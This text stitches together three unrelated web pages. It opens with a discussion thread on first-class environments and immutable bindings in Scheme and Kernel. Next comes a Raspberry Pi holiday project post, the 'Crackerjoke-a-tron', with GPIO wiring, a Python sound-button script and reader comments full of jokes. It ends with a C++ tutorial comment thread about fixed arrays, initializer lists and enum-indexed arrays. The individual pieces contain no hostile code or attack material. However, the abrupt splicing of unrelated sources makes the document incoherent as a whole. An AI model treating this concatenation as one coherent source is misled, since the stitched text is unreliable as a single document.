in R4RS/IEEE1178 scheme, any set! for a variable that didn't have a corresponding define in scope was an error. Thus, if you had not used 'define' to shadow a predefined variable in an environment necessarily a child of the standard environment, then you were not permitted to mutate that variable. The standard environment was therefore safe from mutation.
This limitation on set! was handled in various ways by different implementations, and got dropped from R5RS. I thought at the time that dropping it was a bad idea.
I had observed that for analysis purposes as well as expressing programmer intent and protection from mistakes, we need to have a way to declare a binding or environment to be immutable, or to make an existing binding immutable during runtime, or both. I had not really thought about whether such a limitation should depend on whether the mutator was in the 'local scope' of the definition or not, and it's an interesting point. I will need to consider it.
I don't believe wholesale cloning of environments really has to be a huge performance issue; environment-cloning is to me a semantics requirement, giving the power to evaluate without also giving the power to mutate the environment. Its naive or "obvious" implementation is very bad for performance, but may be okay under a different implementation strategy such as copy-on-write. I have not yet, however, implemented any such strategy, so it remains to be seen.
I've just found this old thread (by Pavel Curtis, in 1988) with "A Proposal for Environments in Scheme". Worth a read, I think.
That's an interesting proposal and I'm sure it was put to good use in Cedar Scheme but as a matter of history I think it is the kind of proposal that helped to give first class environments an irrationally bad reputation fairly early on in Scheme standardization discussions. It was wildly complicated compared to anything already found in Scheme. It had lots of ad-hoc weirdness, particularly environment names and the syntax for "qualified" identifiers. It tossed in "multiple inheritance" for environments which seems completely arbitrary. It offered ENVIRONMENT-DEFINE! but didn't offer any guidance as to the intended semantics and how it would interact with cached variable look-ups in an interpreter, never-mind a compiler (though, to be sure, it did leave source files that didn't use these features in mostly good shape)....
With 22 years of hindsight it's easier to see how to do much better, but the irrationally bad reputation of FCEs persists, nonetheless.
Actually, Kernel has multi-parented environments, with depth-first left-to-right search. Where things really go downhill, for me, is the unencapsulated approach; Kernel supports neither determining the parents of an arbitrary environment, nor determining the complete list of bindings of an arbitrary environment, nor (as I was remarking to Ray just above) mutating an arbitrary visible binding. Apparently they did see that last as enough of a problem that they suggested "locking" the standard environments against mutation.
All this reminded me of Pebble, which I had completely forgotten about. I think I was in a hurry when I first read about it; at any rate, I'm pretty sure I didn't give it as much attention as it deserves, because it looks a lot more interesting now than I remember it as seeming then. (Maybe I just know more now? Nah.) Uncharacteristically for me, I didn't hang on to a bibliographical reference for it. So now, reminded, I googled it, and found... that it was from 1988, that it was tangled up with Cedar... that it's presumably part of the same elephant. The basic reference for Pebble seems to be Lampson and Burstall, Pebble: A kernel language for modules and abstract data types.
(postscript: Sigh. The above is an interesting paper, but the more I remember about Pebble, the more glaringly obvious it is that this is a different Pebble. The one I was thinking of is a lot more like the Pavel Curtis proposal, and probably a lot less genetically related to it.)
First-class environments are fundamental primitives with respect to encapsulation/isolation. They provide a powerful system for managing bindings. Mixing them with other primitives for managing encapsulation/isolation can complicate things; done poorly, it can make the resulting system difficult to analyze.
I think it's probably a good idea to have functions that return environment "constants" with "normal" values for all language bindings, as this proposal outlines. It's overcomplicated to have three degrees of semantic conformance built layers, though.
For purposes of module isolation and interoperation, mutations made to the "parent" environment of one module, if any, should not be visible in a different module. I gather John thinks that parent environments should be immutable by code in any child environment, which is an even stronger condition. He may be right; I had't really considered sub-modules and sub-sub-modules, etc, which is where the semantic models diverge.
In the simple case these ideas are dual to each other. Having an immutable parent-environment whose bindings you can shadow locally (and freely mutate the local shadowing variables) without affecting global bindings isn't much different from having your own copy of the parent environment whose bindings you can mutate without altering the parent-environment bindings visible from other modules. That is, it's not different UNLESS you re-export your local shadowing bindings to other modules, which I think is a Bad Idea.
So it comes down to exports. I prefer mutations to the module's copy of the parent environment, because it seems more "natural" for there to be no exports (no visibility to other modules) of bindings that aren't locally defined.
Worlds:
Controlling the Scope of Side Effects. | http://lambda-the-ultimate.org/node/3861 | CC-MAIN-2018-05 | refinedweb | 36,631 | 50.77 |
#include <Equation.h>
Definition at line 27 of file Equation.h.
Get the word presentation of the equation.
Definition at line 66 of file Equation.h.
References theEquation.
Get the number of the generators of the group.
Definition at line 58 of file Equation.h.
References theNumberOfGenerators.
Get the number of variables in the formula.
Definition at line 62 of file Equation.h.
References theNumberOfVariables.
Determine if g is a letter in this equation.
Determine if the equation is quadratic.
Determine if g is a variable in this equation.
Generate random (strictly) quadratic equation of length
with
generators,
variables.
Routine "arranges" len generators and
variables (each variable twice) into a reduced equation. The distribution is not uniform among equations of this type (even though for large values of len I think it will be close to uniform). For uniform distribution one has to construct a FSA accepting all equations of this type, then assign weights to edges using dynamic programming, and finally choose words from that FSA accoring to the weights.
Determine if the equation has trivial solution.
the presentation of the equation
A word theEquation is a sequence of generators. Each generator
is interpreted the following way:
Definition at line 126 of file Equation.h.
Referenced by getTheEquation().
the number of the generators of the group
Definition at line 116 of file Equation.h.
Referenced by getTheNumberOfGenerators().
the number of variables in the formula (the actual number of variables in the equation can be lesser)
Definition at line 118 of file Equation.h.
Referenced by getTheNumberOfVariables(). | http://web.stevens.edu/algebraic/GroupsSoft/Doc/html/classEquation.html | CC-MAIN-2014-42 | refinedweb | 257 | 51.55 |
Explicit and implicit type casting is a common programming topic for almost any imperative programming language. Most C, C++, or Pascal programmers care about efficiency and speed of their code; but those who use managed programming environments, such as Java, Visual Basic, or C# rely all the optimizing tasks on the compiler and the runtime environment.
This can be a good approach in many cases, but managed languages are becoming more and more popular also for high-performance applications where the knowledge of the language, compiler, and runtime environment can enhance a program's quality and speed.
This article analyzes the most common type casting situations and the compiler behavior in them. We are going to study the MSIL generated code, but not the machine-specific instruction sequences due to the implementation and vendor dependency.
Primitive types are those non-composed types which can be handled directly by the (virtual) machine instructions, i.e., int, long, float, etc... Those types doesn't have inner structure, and are always passed by value if the programmer doesn't specify explicitly other behavior (using the out and ref modifiers). Let's see a simple example about using and casting primitive types:
int
long
float
out
ref
int z = 10;
double r = 3.4;
uint n = 20;
r = z; // Implicit conversion from int to double (1)
z = (int)r; // Explicit conversion from double to int (2)
n = (uint)z; // Explicit conversion from int to uint (3)
This sample performs some conversions in the set of primitive types, leaving in some cases the casting tasks to the compiler and marking conversions explicitly in some other cases.
OK, time to dive into the MSIL generated code and check the impact of type casts in our code:
.locals init ([0] int32 z,
[1] float32 r,
[2] unsigned int32 n)
IL_0000: ldc.i4.s 10
IL_0002: stloc.0
IL_0003: ldc.r4 (9A 99 59 40)
IL_0008: stloc.1
IL_0009: ldc.i4.s 20
IL_000b: stloc.2 //(1)
IL_000c: ldloc.0
IL_000d: conv.r4
IL_000e: stloc.1
IL_000f: ldloc.1 //(2)
IL_0010: conv.i4
IL_0011: stloc.0
IL_0012: ldloc.0 //(3)
IL_0013: stloc.2
IL_0014: ret
As we can see, there are several Conv.XY instructions in the code, whose function is to convert the value at the top of the stack to the type designed in the opcode (r4, i4, etc...). From now, we know that the "innocent" explicit and implicit conversions between primitive types generate instructions which can be avoided with a consistent type usage. The same conversions are applied in 64-bit data types, such as double, long and ulong.
Conv.XY
double
ulong
Note that the last type cast doesn't need an explicit "Conv" opcode due to the nature of the involved types: int and uint; these types have a very close storage structure (big endian bit order with a sign bit in the signed type) and conversion sign issues must be controlled by the programmer.
Conv
uint
A special kind of primitive type is bool (handled internally as an int), whose conversions to numeric types (and backward) are not allowed in C#, so we will not study them.
bool
C# provides two ways for casting object references (note that all types, unless those studied in the previous section, are reference types):
object myClass = new MyClass();
((MyClass)myClass).DoSome(); //(1)
(myClass as MyClass).DoSome(); //(2)</CODE>
The previous is a good example of downcasting (casting from the top to the bottom of the class hierarchy). The method used to perform the cast appears to be the same, but the generated MSIL sequences are a bit different:
.locals init ([0] object myClass)
IL_0000: newobj instance void Sample.MyClass::.ctor()
IL_0005: stloc.0
IL_0006: ldloc.0 //(1)
IL_0007: castclass Sample.MyClass
IL_000c: callvirt instance void Sample.MyClass::DoSome()
IL_0011: ldloc.0 //(2)
IL_0012: isinst Sample.MyClass
IL_0017: callvirt instance void Sample.MyClass::DoSome()
IL_001c: ret
In the first line of code, the compiler emits a "Castclass" opcode, which converts the reference to the type specified between the parenthesis if possible (if not, an InvalidCastException exception is thrown).
Castclass
InvalidCastException
In the second case, the as operator is translated as an "IsInst" opcode, which works much faster, because it only checks the reference type but doesn't perform any sort of cast (nor throws any exception).
as
IsInst
In performance terms, we prefer the second option, because the "IsInst" speeds up much more the code execution, avoiding type casts and exception throwing. Here is a sample of the speed increment obtained using the "as" operator:
In the other hand, parenthesized casts give a better error control to programmers, avoiding the null-reference errors obtained when invalid typecasts happen using the "as" operator.
Let's make the opposite! Now it's time for climbing up into the class hierarchy, and see how slow (or fast) are these sort of casts. The following example creates an object of the type MyDerivedClass and stores its reference in a MyClass type variable:
MyDerivedClass
MyClass
MyDerivedClass myDerivedClass = new MyDerivedClass();
MyClass myClass = myDerivedClass;
And the produced code is:
.locals init ([0] class Sample.MyDerivedClass myDerivedClass,
[1] class Sample.MyClass myClass)
IL_0000: newobj instance void Sample.MyDerivedClass::.ctor()
IL_0005: stloc.0
IL_0006: ldloc.0
IL_0007: stloc.1
IL_0008: ret
As we can see, there are no conversion opcodes, just reference loading and storing. This is good for out efficiency purposes... as expected, upcasting type checks are made at compile time and the runtime costs are as cheap as a simple assign between variables of the same type.
C# language contains a great feature which allows to define implicit and explicit conversion operators. The efficiency of these casting methods depends on the casting method implementation. Anyway, these functions are always static and have only one parameter, so the procedure call overhead is small (no "this" parameter should be passed). Anyway, it seems to be that the Microsoft C# compiler doesn't inline those methods, so arranging parameters and return addresses in the stack may slow your code execution speed.
this
Here are some general tips for optimizing your programs based on the results obtained in the previous sections:
All the tests and disassemblies have been made using the tools included in the .NET Framework SDK. ILDasm can tell you much about your program's performance flaws, so play with it.
This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.
A list of licenses authors might use can be found here
Note that the as operator performs only reference conversions, nullable conversions, and boxing conversions. The as operator can't perform other conversions, such as user-defined conversions, which should instead be performed by using cast expressions.
(Foo as bar).DoMethod();
((Foo)bar).DoMethod();
// We KNOW what the type is 100% of the time
// (you should use generics, but anyhow).
var foo = (Foo)param;
foo.A = 1;
// We think that it might be a certain type.
var foo = param as Foo;
if (foo != null)
{
foo.A = 1;
}
// We are using it ONCE OFF and we KNOW what
// the type is.
((Foo)param).A = 1;
// ---------------------------------
// We are working with a value type.
// 'as' cannot be used with value
// types.
// We KNOW what the type is 100% of the time.
var bar = (Bar)param;
bar.A = 1;
// We think that it might be a certain type.
if (param is Bar)
{
var bar = (Bar)param;
}
// We are using it ONCE OFF annd we KNOW
// what type it is.
((Bar)param).A = 1;
leppie
public class Complex
{
(...)
public void Add(Complex c)
{
this.re += c.re;
this.im += c.im;
}
public void Multiply(Complex c)
{
this.re = (this.re * c.re) - (this.im * c.im);
this.im = (this.re * c.im) + (this.im * c.re);
}
}
static int MyMandelbrotIteration(Complex c)
{
Complex x = Complex.Zero;
for (int i = 0; i < 1000; i++)
{
x.Multiply(x);
x.Add(c);
if (x.AbsoluteSquared > 4)
return i;
}
return -1;
}
class
struct
General News Suggestion Question Bug Answer Joke Praise Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | https://www.codeproject.com/Articles/8052/Type-casting-impact-over-execution-performance-in?msg=904700 | CC-MAIN-2016-50 | refinedweb | 1,373 | 65.42 |
The Crackerjoke-a-tron
In the UK, plus a few other countries here and there, no Christmas table is complete without the traditional Christmas cracker next to every plate. table.
To make your own Crackerjoke-a-tron, you’ll need:
- a Raspberry Pi (any model will work)
- 2 x tactile push buttons
- a speaker with a standard 3.5 mm jack
If you don’t fancy soldering, you’ll also need:
- a breadboard
- 2 x male-to-male jumper leads
- 5 x female-to-male jumper leads
To add lights, you’ll need:
- a red LED
- a green LED
- 2 x 330 ohm resistors
You can download the .wav files you will need directly to your Pi.
Create a new folder on your Pi called ‘crackerjoke’ by entering the following into a terminal window:
mkdir crackerjoke
You can then enter this folder using this command:
cd crackerjoke
To download the .wav files to your Pi, use this:
wget -O goodjoke.wav
And then this:
wget -O badjoke.wav
To make sure the files play, try typing the following (make sure to plug in your speaker or some headphones):
aplay goodjoke.wav
If this works, you’re ready to get your code written and your buttons and lights set up.
First, we’ll put the components in place. Here’s a picture of what to expect:
The GPIO pins we are using are as follows:
- Good joke button = pin 21
- Bad joke button = pin 24
- Red LED = pin 8
- Green LED = pin 7
If you have a breadboard, ground everything as standard. If you don’t, make sure you ground all your LEDs and GPIO pins.
Now it’s time for the code. Open Python 3, create a new file within the crackerjoke folder called ‘crackerjoke.py’ and type the following:
import pygame.mixer from pygame.mixer import Sound from gpiozero import Button, LED from signal import pause pygame.mixer.init() good = Sound("/home/pi/crackerjoke/goodjoke.wav") bad = Sound("/home/pi/crackerjoke/badjoke.wav") good_button = Button(21) bad_button = Button(24) red = LED(8, initial_value=True) green = LED(7, initial_value=True) good_button.when_pressed = good.play bad_button.when_pressed = bad.play pause()
Save your code, press F5, and you should be good to go.
If you’d like the code to run on reboot, allowing you to detach yourself from the monitor, keyboard, and mouse, open a terminal window and type:
nano ~/.config/lxsession/LXDE-pi/autostart
At the bottom of the file, add:
@python /home/pi/crackerjoke/crackerjoke.py
Save and reboot.
If you make the Crackerjoke-a-tron, don’t forget to share a picture or a video with us via social media, using the hashtag #BerryXmas.
Liz Upton
Q: What did Adam say the day before Christmas?
A: “It’s Christmas Eve.”
henry
Doh!
The Grinch
There’ll be no need to bother downloading unless you get your crackers from M&S, Waitrose, Harrods or Fortnums. ALL cracker jokes are cornier than anything from
Q. Where do fish sleep?
A. In a water bed
Liz Upton
Ha – love the new name!
Alex Bate
Why did the Grinch go to the liquor store?
To get some Christmas spirit.
:D
Raspberry Pi Staff Dan Fisher
What does Santa suffer from if he gets stuck in a chimney?Claustrophobia.
Steph
What do you call a guy with no calves?
Tony
Katharine
What do you call a Pokemon who can’t see?
I can’t Pikachu
Alex Bate
How do you get Pikachu on a bus?
Poke him on.
Matt
What did one snowman say to the other?
“Can you smell carrot?”
The Grinch
Q: What do you call a bat with a carrot in each ear?
A: Anything you want as he can’t hear you!
David Booth
“a Raspberry Pi (any model will work)”, probably not a zero unless you have an audio socket kit, or am I wrong?
mahjongg
A zero has audio through HDMI.
Bill Edwards
Which one of Santa’s reindeer do you hardly ever hear about?
Olive, the other reindeer…..
Alex Bate
Haha, that took me a moment.
Alex Bate
From my mum:
Can dogs operate an MRI?
No, but Catscan.
Russell Davis
How many elephants can you fit in a mini?
4, 2 in the front and 2 in the back
Alex Bate
How do you get two whales in a car?
M6.
Raspberry Pi Staff Simon Long
M4, surely! The M6 gets you to Carlisle…
Liz Upton
Where do you weigh a whale?
At a whale-weigh station.
Russell Davis
Why did the elephant paint his toe nails red?
so he could hide in a cherry tree
Russell Davis
what’s is hairy, got 66 legs, 8 eyes & large dripping fangs?
I don’t know either but there’s one on your shoulder
Russell Davis
What did the grape say when they elephant trod on it?
nothing it just let out a little whine
MalMan35
What do you call an old snowman?
Water
Why did the belt go to jail?
It held up a pair of pants.
BTW Great project Alex!
Alex Bate
Thank you :D
Ken Warren
Why do ducks have flat feet?
So they can stamp out fires.
Ken Warren
How do elephants get flat feet?
From jumping out of cherry trees onto burning ducks!
Norman Dunbar
Where do you go to find out how heavy a pie is?
Somewhere over the rainbow.
(Weigh a pie)
:-)
I’ll get my coat!
Cheers,
Norm.
Yerba1
Where does a Pirate hide his Buccaneers?
Under his Buccanhat
Max Power
But can you come up with something to keep the confetti from getting in my dinner?
henry
I could not get the program to start on reboot as the instructions said. Has anyone else been able to do that?
Other than that, it works great! I’m going to use it at our next team meeting.
henry
Update to my comment earlier about not getting the crackerjoke.py to run in autostart. It seems like it does start because both lights turn on. However, when I press the buttons, no sound go off. The program does work when I run it manually. Any ideas? Thanks. – Henry
henry
Here is an alternate way of having the Pi start the program, then after ten (10) jokes, it shuts down the OS:
# links:
#
#
# External module imports
import RPi.GPIO as GPIO
import time
import os
import sys
import pygame.mixer
from pygame.mixer import Sound
# Pin Definitons:
pwmPin = 27
ledPin = 22
butPin = 17
butRed = 24
###
pygame.mixer.init()
###
GPIO.setwarnings(False)
# Pin Setup:
GPIO.setmode(GPIO.BCM) # Broadcom pin-numbering scheme
GPIO.setup(ledPin, GPIO.OUT) # LED pin set as output
GPIO.setup(pwmPin, GPIO.OUT) # PWM pin set as output
GPIO.setup(butPin, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Button pin set as input w/ pull-up
GPIO.setup(butRed, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Button pin set as input w/ pull-up
# Initial state for LEDs:
GPIO.output(ledPin, GPIO.HIGH)
GPIO.output(pwmPin, GPIO.HIGH)
i=0
while i < 10:
if GPIO.input(butRed) == False: # button is pressed
i = i + 1
os.system("sudo aplay /home/pi/PiBoard/badjoke.wav")
if GPIO.input(butPin) == False: # button is pressed
print("green")
i = i + 1
os.system("sudo aplay /home/pi/PiBoard/goodjoke.wav")
GPIO.output(pwmPin, GPIO.LOW)
GPIO.output(ledPin, GPIO.LOW)
GPIO.cleanup() # cleanup all GPIO
os.system("sudo shutdown -P")
kevin
this doesnt play sound on the rasberry pi 3 model b i did everything that it says there is a folder and everything and still doesnt work and i need to know what might be the problem because i am doing this for a school project if you know email me asap | https://www.raspberrypi.com/news/the-crackerjoke-a-tron/ | CC-MAIN-2022-33 | refinedweb | 1,286 | 76.32 |
Hi Roger, See comments between the lines. Cheers, Abel On 24-1-2014 11:15, Costello, Roger L. wrote: > What nodes can a construct return in order for it to be considered a climbing construct? > > This XPath expression > > @* > > returns all the attributes of the context node, so @* is a climbing construct, correct? Yes, this is a climbing construct, even though it may feel as if you are striding (moving sideways on the Title-element). Visited nodes, including current namespace nodes and attributes are remembered by the processor, but only for the ancestor-or-self axis. Once the Title element is visited, the streaming processor has already processed all its attributes and the read pointer is considered to be at the end of the opening tag Title, hence the term "climbing". > This XPath expression > > ancestor::* > > returns all the ancestors of the context node, so ancestor::* is a climbing construct, correct? Yes, it is a climbing construct. However, unless you select other climbing nodes from here and unless you atomize the results (without consuming the contents of the children) you can't do much with it. > This XPath expression > > for $i in ancestor::node() return $i > > also returns all the ancestors of the context node, so for $i in ancestor::node() return $i is a climbing construct, correct? No, this is not a climbing construct, it is roaming and free-ranging. The part in the middle, the expression ancestor::node() is climbing, but you are not allowed to return the nodes from a for-in-return expression. The return expression must be grounded for the whole construct to be streamable. An example with a climbing construct in a for-expression that is also streamable is: for $i in ancestor::node() return string(@id) for $i in somechild return $i/name() > This XPath expression > > ../@* > > returns all the attributes of the parent of the context node, so ../@* is a climbing construct, correct? Yes, that is correct. But, just as in the previous example, be aware that you cannot return this, because then navigating away from the node would be possible at a later stage. Hence, you should typically use expressions like this this in expressions that have operator usage absorption or inspection, but not navigation. > This XPath expression > > ./namespace::* > > returns all the namespaces visible on the context node, so ./namespace::* is a climbing construct, correct? Correct. > Notice that all the examples are XPath expressions. Can you give an example or two of a climbing construct that is not an XPath expression? Since every expression is an XPath expression, except for patterns (but they inherit the syntax), the only other thing that can potentially be climbing is a construct. Looking over the rules, it turns out that, if I interpret them correctly, only a choice operand group can potentially be climbing. There are two constructs that form a choice operand group. One is an if-then-else expression (which is an XPath, so I don't consider it an answer to your question), the other are the sequence constructors in an xsl:choose construct. This turns out to be climbing, but only when the tests are grounded and motionless. A simple example: <xsl:choose> <xsl:when <xsl:sequence </xsl:when> <xsl:otherwise> <xsl:sequence </xsl:otherwise> </xsl:choose> In the above construct, the posture of each operand in the group is climbing (as a result of the operand usage being transmission and the use of the parent axis). The combined posture of the choice operand group, however, is crawling. Also, since you are not allowed to return streaming nodes, the xsl:sequence constructor should either be removed, or the result should be wrapped in an xsl:value-of or something similar. Other than that, I don't believe there is a construct that is climbing and that doesn't visit nodes using any of the axis mentioned in the climbing-description. > >? Yes, it could. However, as you write here, because it "can return nodes", and because streaming nodes cannot be moved around (because it cannot statically be assessed what happens to them in a later construct), this is not permitted in constructs such as xsl:with-param, xsl:variable, xsl:apply-templates or as function arguments to stylesheet functions (unless atomized). > Is there anything else important to know about understanding what a climbing construct is? Probably a lot, but I think you got the essence wrapped up here. Climbing constructs play an important role in path expressions and it is important to understand that something like x/ancestor::y/z is not allowed, because you are allowed to climb, but not allowed to descend afterwards. | http://www.oxygenxml.com/archives/xsl-list/201401/msg00167.html | CC-MAIN-2018-05 | refinedweb | 770 | 61.06 |
How do I keep my script running? for more information.
2.4.()
2.9.) sleep(1)
Note values are essentially rounded to account for the fact LEDs can only be on
or off when
pwm=False (the default).
However, using
LEDBarGraph with
pwm=True allows more precise
values using LED brightness:
from gpiozero import LEDBarGraph from time import sleep from __future__ import division # required for python 2 graph = LEDBarGraph(5, 6, 13, 19, 26, pwm=True) graph.value = 1/10 # (0.5, 0, 0, 0, 0) sleep(1) graph.value = 3/10 # (1, 0.5, 0, 0, 0) sleep(1) graph.value = -3/10 # (0, 0, 0, 0.5, 1) sleep(1) graph.value = 9/10 # (1, 1, 1, 1, 0.5) sleep(1) graph.value = 95/100 # (1, 1, 1, 1, 0.75) sleep()
2.14.()
2.17. Full color LED¶
Making colours with an
RGBLED:
from gpiozero import RGBLED from time import sleep from __future__ import division # required for python 2)
2.18. Motion sensor¶
Light an
LED when a
MotionSensor detects motion:
from gpiozero import MotionSensor, LED from signal import pause pir = MotionSensor(4) led = LED(16) pir.when_motion = led.on pir.when_no_motion = led.off pause()
2.19.()
2.26. PRESSED curses.halfdelay(3) action = actions.get(key) if action is not None: action() next_key = key while next_key == key: next_key = window.getch() # KEY RELEASED gpiozero.tools import zip_values from signal import pause robot = Robot(left=(4, 14), right=(17, 18)) pir = MotionSensor(5) robot.source = zip_values(pir, pir) pause()
2.28. pause()
2.29.)
2.30.: | https://gpiozero.readthedocs.io/en/stable/recipes.html?highlight=distance | CC-MAIN-2021-49 | refinedweb | 259 | 61.93 |
I had to put the Animals::Animals::elephant in the called function down below in order to use namespace and enum Animals. If I took out the namespace I only needed "Animals::elephant" - could someone tell me what’s going on? hahaha
In the example above, you shouldn’t need a double Animals:: prefix. The namespace requires one prefix, but the enum doesn’t, so a single prefix should do.
If you used an enum class inside a namespace, you’d need a double prefix.
Okay.. I removed the second prefix in the main code and it worked but why do you need to type "std::string getAnimal(Animals::Animals animal)" in the called function getAnimal?
The outer Animals is the namespace prefix, the inner Animals is the name of the enum type that defines the type of the parameter.
Good morning/afternoon/evening !
Can we type
instead of
?
No, C++ doesn’t support list assignment to fixed arrays (which is annoying).
Fortunately you can do list assignment with std::array:
std::array x;
x = { 1, 2, 3, 4, 5 };
We talk more about std::array later in this chapter.
Thanks for the help!
Hi Alex and commenters, I’m confusing myself with question 1 I was able to answer the question as follows
so I thought I would write a little program to prove that each element had in fact been set to 0.0 the result I got was not what I expected so to check further I decided to intialize each element to 2.5 just by substituting {2.5} in place of {0.0} and checked again, it appears that only the first element is initialized although I could have coded my little program incorrectly, what do you think, here is the code:-
Correct. Using an initializer list will initialize the elements of the array to the values in the initializer list. If there aren’t enough values in the initializer list, the rest of the values in the array will be zero-initialized.
Ah so to fully answer q1 you would need at least line 8 and lines 19 to 22 of the following program in the main() loop:-
double temperature[365] = { }; should initialize all the elements to 0. You don’t need to iterate through all the elements of the array to do zero initialization. If you want to set them to some other value, you do. However, the quiz only asks you to set them to 0.
Hi Alex sorry, I was taking the part of the quiz question that states "Initialize the array with a value of 0.0 for each day." literally. i.e. set each day to the value 0.0
why are we using namespace here?
Without a namespace, the StudentNames would go into the global namespace. That’s not a problem for this simple program, but as programs get larger you want to keep your global namespace as clean as possible.
Sorry if this has already been asked…
Shouldn’t Solution 1 be double temperature[364] = { 0.0 } (i.e. 365 - 1)?
No. The number in hard braces is the number of elements you want in your array. Those elements are numbered 0 through #-1.
In this case, because there are 365 days in a year, we want 365 elements, so we use 365 as the array size. Those elements are indexed from 0 to 364.
Understood. Thanks!
So even though this compiles and runs just fine it’s big no no because it could corrupt memory?
Right. test[15] is out of bounds of the array and could end up overwriting some other piece of data that your program depends on.
Not getting the results I was expecting. It’s only printing element 66-364.
Never mind. I’m assuming the console only allows a certain amount of lines. I was able to fix it like previous tutorials have demonstrated adding…
if (iii % 10 == 0)
std::cout << std::endl;
Hi Alex,
Why does the following program print a random 8 digit hexadecimal number?
Because your fixed array is decaying into a pointer to the first element of the array, and since pointers hold addresses, your compiler is printing the address the pointer is holding as a hex value.
I discuss all of this in more detail in the upcoming lessons in this chapter.
I love that South Park reference by the way. 😉
What is the difference between vectors and arrays? I have looked at vectors a little bit. They look very similar to arrays.
I talk about vectors at the end of this chapter. But in short:
* Fixed arrays are a set of sequential elements laid out in stack memory.
* Dynamic arrays are a set of sequential elements laid out in dynamic memory, where you do all the memory management.
* Vectors are a set of sequential elements laid out in dynamic memory, where the vector does all the memory management.
Essentially, vectors provide a nice way to get the dynamism of dynamic arrays without having to deal with all of the memory management.
when I use const before int prime[5] in the function definition it shows an error but the tutorial says that it won’t change the values of the prime[].
got the answer.
Could we solve quiz #1 like this?
Yes, this will do the same thing.
Thank you very much for the south park reference in the example.
Its incorrect
0 is an integer literal whereas 0.0 is a double precision literal. Its a convention to tell the compiler how to store the value in memory.
your quiz was to initialize all with 0.0 not 0
It’s not incorrect, though my wording is slightly sloppy.
Section 8.5.1.7 of the C++ spec says, “If there are fewer initializer-clauses in the list than there are members in the aggregate, then each member not explicitly initialized shall be initialized from an empty initializer list”.
An empty initializer list as applies to individual array elements does a value initialization. A value initialization for a class type uses the default constructor, and for fundamental types does a zero initialization. Zero initialization does an implicit conversion of integer constant zero to the element’s type.
So, basically, if we provide at least one initializer, any non-initialized elements in our double array get zero-initialized, which means integer 0 is implicitly converted to 0.0 and used to initialize the element.
It’s trivial to prove that this is true: just write a simple program and initialize a double array with fewer elements than the array size. You’ll see the rest of the elements get zero-initialized. Just make sure you do it in release mode, not debug mode, since debug mode will generally zero-initialize all variables.
Hi Alex Solution for quiz 1 is wrong this will only initialize first element of array not all
for initializing all element we have to set in loop or you suggest any better solution
Let me know your answer
Incorrect. As noted in the lesson, “… if there are less initializers in the list than the array can hold, the remaining elements are initialized to 0”.
Since our array has 365 elements and we initialized the first one to 0.0, the remaining elements will be initialized to 0.
Hey Alex.
Amazing tutorials, I’m learning a hell of a lot from this, thank you.
I’m somewhat halfway through this one and I have a doubt. I tried searching on the comments section for this, but I didn’t find it (let’s hope I didn’t miss it, sorry if I did).
It’s just that you said "Note that this “trick” only works if you do not change the enumerator values manually!". Why is that?
Remember that each enumerator that isn’t given a value will take a value one greater than the previous enumerator. So if you don’t touch the enumerator values, then the MAX_ENUMERATOR will represent the number of other enumerators (itself excluded). This value can be useful in many different contexts, including setting the size of an array where you need one element for each enumerator.
If you were to assign your own values to the enumerator, MAX_ENUMERATOR would likely end up with some other value that doesn’t represent the number of other enumerators in the array -- thus defeating the point of the trick.
AHH, that trick! I thought you were reffering to the whole thing of using enumerators in the first place. I thought the compiler would complain or something if you used enumerators whose values had been changed. My bad, misunderstood it there.
Thank you for the quick response!
For the first quiz question, I assumed the idea was ensure that, whenever an element of the array is printed, it will be formatted with one digit to the right of the decimal place. In the given answer, I find that no matter how I enter a value, if there is a zero to the right of the decimal place not followed by a nonzero digit, that zero is omitted when the value is printed. For example, if I set an element to 2.0, it prints as 2. I recognize that this or any other single case could be fixed using setprecision(), but since that deals with total number of digits displayed, on both sides of the decimal point, while here the desired total number of digits varies depending on how many of them are to the left of the decimal place, I don’t see how it could be used in general. Is this something that hasn’t been covered by this point in the tutorial, or have I missed it?
I’ve not covered how to print a fixed number of digits after the decimal point. Here’s how you can do that:
Why an out-of-range element can be accessed if I assign it to a value?
C++ doesn’t do range checking for build-in arrays. Making sure your indices are all within range is your responsibility. If you fail to do so, the results are undefined. Your program may work fine, you may get a different result, or it may crash.
Alex,
You wrote: "One neat trick: we can determine the size of a fixed array by dividing the size of the entire array by the size of an array element:"
In context, I figured out what this sentence meant after reading ahead. But this sentence alone is a little ambiguous due to your use of the word "size" refering to two different things in the same sentence.
Yeah, I agree, the overloading of the word size makes that hard to parse. I’ve updated the lesson to use the word “length” when I’m talking about how many elements are in the array, and “size” when I’m talking about how large something is in bytes.
Is it possible to get the array-length by dividing the sizeof(array) through sizeof(datatype of array)?
E.g for int..
int array[] { 1, 2, 3, 4};
std::cout << "Array length: " << sizeof(array)/sizeof(int) << "n";
//instead of sizeof(int) you use the sizeof(array[0])..if this is for making sure that the array is not un-initialized, then i get your point there.
The math behind this is:
sizeof(array) = 4*4bytes = 16 bytes
sizeof(int) = 4 bytes
sizeof(array[0]) = 4 bytes
Right?
So sizeof(array)/sizeof(array[0]) or sizeof(array)/sizeof(int) EQUALS (4 * 4 bytes) /4 bytes = 4 . The actual length of the array.
Let skip the case where ints are 2 bytes..it would be the same math only 2 instead of 4 bytes. Still 4 entrys in the array itself. The last entry (4) is array[3] indexed to [3]. Indexing starts at 0 right.
So the length of 4 would be great to work with in a for loop because we loop until array index [3] if we set the the loop like this :
for (int i = 0; i < sizeof(array)/sizeof(int); ++i)
{
do somethings
};
Now….
If I made an array like this:
int array[4] {1, 2, 3, 4}; it would set the 5th array entry array[4] to 0 by default through initializing the array not just defining it
So If I do the sizeof(array)/sizeof(array[0]) or sizeof(array)/sizeof(int) on this…
Will this give me the same results as above, or will this happen:
sizeof(array) = 5 * 4 bytes; //5 not 4 because the last array entry array[4] is initialized = 0. That makes 5 initialized entrys
1. array[0] = 1
2. array[1] = 2
3. array[2] = 3
4. array[3] = 4
5. array[4] = 0 // by default to 0, because the array is initialized(initializer list), not only defined/or declared(i dunno what term is actually right for this, I tend to defined?)
sizeof(array[0]) = sizeof(int) = 4 bytes
So this time sizeof(array)/sizeof(array[0]) or sizeof(array)/sizeof(int) EQUALS (5 * 4 bytes)/ 4 bytes = 5.
